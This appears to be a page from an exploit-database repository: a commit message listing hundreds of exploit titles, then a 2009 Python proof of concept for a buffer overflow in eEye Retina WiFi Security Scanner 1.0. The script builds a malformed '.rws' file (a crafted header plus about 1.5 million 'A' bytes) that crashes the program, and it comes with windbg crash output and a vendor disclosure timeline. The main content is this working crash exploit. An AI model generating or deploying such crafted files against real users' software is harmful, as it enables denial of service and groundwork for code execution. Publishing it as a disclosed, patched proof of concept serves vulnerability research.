6cbe6ebbb6
395 changes to exploits/shellcodes EO Video 1.36 - Local Heap Overflow Denial of Service / (PoC) Electronics Workbench - '.ewb' Local Stack Overflow (PoC) BulletProof FTP Client 2.63 - Local Heap Overflow (PoC) Easy Web Password 1.2 - Local Heap Memory Consumption (PoC) Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC) eEye Retina WiFi Security Scanner 1.0 - '.rws Parsing' Buffer Overflow (PoC) Zortam MP3 Media Studio 9.40 - Multiple Memory Corruption Vulnerabilities ImTOO MPEG Encoder 3.1.53 - '.cue' / '.m3u' Local Buffer Overflow (PoC) ZoIPer 2.22 - Call-Info Remote Denial of Service PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) Nuked KLan 1.7.7 & SP4 - Denial of Service AIC Audio Player 1.4.1.587 - Local Crash (PoC) Xerox 4595 - Denial of Service WinMerge 2.12.4 - Project File Handling Stack Overflow Acoustica Mixcraft 1.00 - Local Crash SopCast 3.4.7 - 'sop://' URI Handling Remote Stack Buffer Overflow (PoC) Oreans WinLicense 2.1.8.0 - XML File Handling Memory Corruption Spotify 0.8.2.610 - search func Memory Exhaustion Apple iTunes 10.6.1.7 - '.m3u' Walking Heap Buffer Overflow (PoC) WaveSurfer 1.8.8p4 - Memory Corruption (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) CoolPlayer+ Portable 2.19.4 - Local Buffer Overflow Light Audio Player 1.0.14 - Memory Corruption (PoC) Image Transfer IOS - Remote Crash (PoC) Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH) VUPlayer 2.49 - '.cue' Universal Buffer Overflow Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation IBM AIX 5.3 - 'libc' MALLOCDEBUG File Overwrite Hex Workshop 4.23/5.1/6.0 - '.hex' Universal Local Buffer Overflow (SEH) Soritong MP3 Player 1.0 - '.m3u' / UI.txt Universal Local Buffer Overflow Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 - Collab getIcon Universal Millenium MP3 Studio - '.pls' / '.mpf' / '.m3u' Universal Local Buffer Overflow (SEH) Alleycode HTML Editor 2.2.1 - Local Buffer Overflow GPG2/Kleopatra 2.0.11 - Malformed Certificate Free WMA MP3 Converter 1.1 - '.wav' Local Buffer Overflow OtsTurntables Free 1.00.047 - '.olf' Universal Buffer Overflow Watermark Master 2.2.23 - '.wstyle' Local Buffer Overflow (SEH) Dropbox < 3.3.x - OSX FinderLoadBundle Privilege Escalation MySQL / MariaDB / PerconaDB 5.5.51/5.6.32/5.7.14 - Code Execution / Privilege Escalation eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (3) QK SMTP 3.01 - 'RCPT TO' Remote Buffer Overflow (2) CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow quickshare file share 1.2.1 - Directory Traversal (1) SPlayer 3.7 (build 2055) - Remote Buffer Overflow Acunetix 8 build 20120704 - Remote Stack Overflow Omeka 2.2.1 - Remote Code Execution D-Link DSL-2740R - Remote DNS Change D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution TorrentTrader 1.0 RC2 - SQL Injection WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion PHP DocWriter 0.3 - 'script' Remote File Inclusion phpBB Journals System Mod 1.0.2 RC2 - Remote File Inclusion phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion QnECMS 2.5.6 - 'adminfolderpath' Remote File Inclusion BrewBlogger 1.3.1 - 'printLog.php' SQL Injection e-Ark 1.0 - '/src/ark_inc.php' Remote File Inclusion awrate.com Message Board 1.0 - 'search.php' Remote File Inclusion Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion Gizzar 03162002 - 'index.php' Remote File Inclusion SH-News 0.93 - 'misc.php' Remote File Inclusion JSBoard 2.0.10 - 'login.php?table' Local File Inclusion XOOPS Module WF-Links 1.03 - 'cid' SQL Injection Scorp Book 1.0 - 'smilies.php?config' Remote File Inclusion WEBInsta FM 0.1.4 - 'login.php' absolute_path Remote File Inclusion mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion EQdkp 1.3.2 - 'listmembers.php' SQL Injection FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection Pakupaku CMS 0.4 - Arbitrary File Upload / Local File Inclusion CCMS 3.1 Demo - SQL Injection MoinMoin 1.5.x - 'MOIND_ID' Cookie Login Bypass BlogPHP 2 - 'id' Cross-Site Scripting / SQL Injection AuraCMS 1.62 - Multiple SQL Injections sCssBoard (Multiple Versions) - 'pwnpack' Remote s EasyNews 40tr - SQL Injection / Cross-Site Scripting / Local File Inclusion RevokeBB 1.0 RC11 - 'Search' SQL Injection Galatolo Web Manager 1.0 - Cross-Site Scripting / Local File Inclusion CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection PHPortal 1.2 - Multiple Remote File Inclusions Libera CMS 1.12 - 'cookie' SQL Injection Zanfi CMS lite 2.1 / Jaw Portal free - 'FCKeditor' Arbitrary File Upload WCMS 1.0b - Arbitrary Add Admin FOSS Gallery Admin 1.0 - Arbitrary File Upload MemHT Portal 4.0.1 - SQL Injection / Code Execution Mediatheka 4.2 - Blind SQL Injection Pligg 9.9.5b - Arbitrary File Upload / SQL Injection XOOPS 2.3.2 - 'mydirname' PHP Remote Code Execution Joomla! Component Casino 0.3.1 - Multiple SQL Injections s ZeusCart 2.3 - 'maincatid' SQL Injection ASP Football Pool 2.3 - Remote Database Disclosure LightNEasy sql/no-db 2.2.x - System Configuration Disclosure Zen Cart 1.3.8 - Remote Code Execution Joomla! Component com_pinboard - 'task' SQL Injection Joomla! Component com_bookflip - 'book_id' SQL Injection Messages Library 2.0 - Arbitrary Delete Message Arab Portal 2.2 - Blind Cookie Authentication Bypass Joomla! Plugin JD-WordPress 2.0 RC2 - Remote File Inclusion REZERVI 3.0.2 - Remote Command Execution Joomla! Component BF Quiz 1.0 - SQL Injection (2) E-Xoopport Samsara 3.1 (eCal Module) - Blind SQL Injection AJ Matrix DNA - SQL Injection Joomla! Component JE Story Submit - Local File Inclusion CF Image Hosting Script 1.3.82 - File Disclosure hastymail2 webmail 1.1 rc2 - Persistent Cross-Site Scripting CMSLogik 1.2.1 - Multiple Vulnerabilities C.P.Sub 4.5 - Authentication Bypass WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload Joomla! Component com_hdflvplayer < 2.1.0.1 - SQL Injection WordPress Plugin WP Symposium 14.11 - Arbitrary File Upload PHPMailer < 5.2.20 - Remote Code Execution phpIPAM 1.4 - SQL Injection Joomla! 3.9.0 < 3.9.7 - CSV Injection
142 lines
No EOL
5.7 KiB
Python
Executable file
142 lines
No EOL
5.7 KiB
Python
Executable file
#!/usr/bin/python
|
|
#
|
|
#
|
|
# * Title: Retina WiFi Security Scanner 1.0 (.rws parsing) Buffer Overflow Vulnerability
|
|
#
|
|
#
|
|
# * Summary: Retina WiFi Scanner is a tool to be used to detect IEEE 802.11 (WiFi) based devices.
|
|
# * Vendor: eEye Digital Security Inc.
|
|
# * Product Web Page: http://www.eeye.com/
|
|
# * Current Version: 1.0.8.68
|
|
# * Notiz: The tool is implemented as part of the eEye's Retina Network Security Scanner package.
|
|
# * Tested On Microsoft Windows XP Professional SP3 (English)
|
|
#
|
|
# * Vulnerability Discovered By Gjoko 'LiquidWorm' Krstic
|
|
# * liquidworm gmail com
|
|
# * http://www.zeroscience.org
|
|
# * 16.05.2009
|
|
#
|
|
# * Original Advisory: http://www.zeroscience.org/codes/retinawifi_bof.txt
|
|
# * eEye Advisory: http://research.eeye.com/html/advisories/published/AD20090710.html
|
|
#
|
|
#
|
|
# * --------------------------------windbg---------------------------------- *
|
|
#
|
|
# (1268.dd8): Access violation - code c0000005 (first chance)
|
|
# First chance exceptions are reported before any exception handling.
|
|
# This exception may be expected and handled.
|
|
# eax=41414141 ebx=00000003 ecx=000006d8 edx=00000000 esi=0000006c edi=10264da0
|
|
# eip=1001dcce esp=0012e72c ebp=0012e754 iopl=0 nv up ei pl nz na pe nc
|
|
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
|
|
# *** Defaulted to export symbols for [path]\WiFiCore.dll -
|
|
# WiFiCore!LibWifi_ReportHTML+0x1b48e:
|
|
# 1001dcce f644300401 test byte ptr [eax+esi+4],1 ds:0023:414141b1=??
|
|
# 0:000> g
|
|
# (1268.dd8): Access violation - code c0000005 (first chance)
|
|
# First chance exceptions are reported before any exception handling.
|
|
# This exception may be expected and handled.
|
|
# eax=00000010 ebx=41414141 ecx=00000000 edx=41414141 esi=00001000 edi=41414150
|
|
# eip=7c809eda esp=00121484 ebp=001214b0 iopl=0 nv up ei pl zr na pe nc
|
|
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
|
|
# *** Defaulted to export symbols for [path]\kernel32.dll -
|
|
# kernel32!IsBadReadPtr+0x39:
|
|
# 7c809eda 8a02 mov al,byte ptr [edx] ds:0023:41414141=??
|
|
#
|
|
# * -------------------------------/windbg---------------------------------- *
|
|
#
|
|
#
|
|
# * Disclosure Timeline:
|
|
#
|
|
# * [16.05.2009] Vulnerability discovered.
|
|
# * [16.05.2009] Initial contact with the vendor with description included + screenshot + proof
|
|
# of concept code.
|
|
# * [18.05.2009] Vendor contacted again for confirmation of the vulnerability because of no reply
|
|
# from previous e-mail.
|
|
# * [18.05.2009] Vendor replied and acknowledged the vulnerability. Patch development process in
|
|
# progress.
|
|
# * [25.05.2009] Vendor contacted for information on patch development and its release process
|
|
# because of our advisory disclosure policy.
|
|
# * [29.05.2009] Vendor contacted again for information on patch development because of no reply
|
|
# from previous e-mail.
|
|
# * [29.05.2009] Vendor answered. Bug fixes scheduled within next week.
|
|
# * [08.06.2009] Vendor contacted for an accurate date of a patch release or scheduled bug fix
|
|
# time line information.
|
|
# * [08.06.2009] Vendor replied and confirmed that the vulnerability has been mitigated and passed
|
|
# the QA. The fix will be introduced in the next release of the product. Scheduled
|
|
# date for the release of the update is not yet known...or...it's unknown :) .
|
|
# * [12.06.2009] Vendor informs that the fix will be released along with the new scheduled release
|
|
# of the Retina package approximately on 29th of June.
|
|
# * [29.06.2009] Contacted the vendor, asked for a more accurate (fixed) date of the release.
|
|
# * [29.06.2009] Vendor says that the patch is being tested by the QA team along with other program
|
|
# * fixes. Vendor will contact me after the tests, with the results from the same.
|
|
# * [06.07.2009] Sent an e-mail to the vendor stating that the advisory is planned to be published
|
|
# * on 10th of july because of internal company reasons.
|
|
# * [10.07.2009] Vendor releases patch: http://download.eeye.com/html/products/retinawireless/
|
|
# * [10.07.2009] Public advisory released.
|
|
#
|
|
#
|
|
#
|
|
# * Pozdrav Do:
|
|
#
|
|
# * sm, thricer, drowsy, Jayji, Leon Juranic,
|
|
# * teppei, n3tpr0b3, DrunkY, apo, Aodrulez,
|
|
# * kokanin, e.wiZz!, j0rgan, str0ke, Uploader,
|
|
# * Jonathan Salwan, Sergio 'shadown' Alvarez,
|
|
# * Malformation, dz0, d3, Greg Linares, lio,
|
|
# * mio, drown, dni, Damjan, Maximiliano Soler,
|
|
# * leetgeek, Preddy, Gliser, eSDee i t.d. :)
|
|
#
|
|
#
|
|
# * Proof Of Concept:
|
|
#
|
|
|
|
|
|
#=========================================*snip*=========================================#
|
|
|
|
|
|
header = (
|
|
"\x52\x57\x53"
|
|
"\x30\x31\x30"
|
|
"\x19\x52\x76"
|
|
"\x00"
|
|
)
|
|
|
|
buffer = "\x41" * 1574624 #[Bytes/chars]
|
|
#1574622 No issues
|
|
#1574623 BoF, Access violation when reading [random]
|
|
#1574624 BoF, Access violation when reading [414141B1]
|
|
#...
|
|
|
|
payload = header + buffer
|
|
|
|
file = "Abulia.rws"
|
|
|
|
filetzio=open(file,'w')
|
|
filetzio.write(payload)
|
|
filetzio.close()
|
|
|
|
print "\n[+] File " + file + " successfully landed.\n"
|
|
|
|
|
|
#=========================================*snip*=========================================#
|
|
|
|
|
|
|
|
|
|
#################################################################################
|
|
# #
|
|
# * Disclaimer: #
|
|
# #
|
|
# * This document and all the information it contains are provided "as is", #
|
|
# * for educational purposes only, without warranty of any kind, whether #
|
|
# * express or implied. #
|
|
# #
|
|
# * The author reserves the right not to be responsible for the topicality, #
|
|
# * correctness, completeness or quality of the information provided in #
|
|
# * this document. Liability claims regarding damage caused by the use of #
|
|
# * any information provided, including any kind of information which is #
|
|
# * incomplete or incorrect, will therefore be rejected. #
|
|
# #
|
|
#################################################################################
|
|
|
|
# milw0rm.com [2009-07-10] |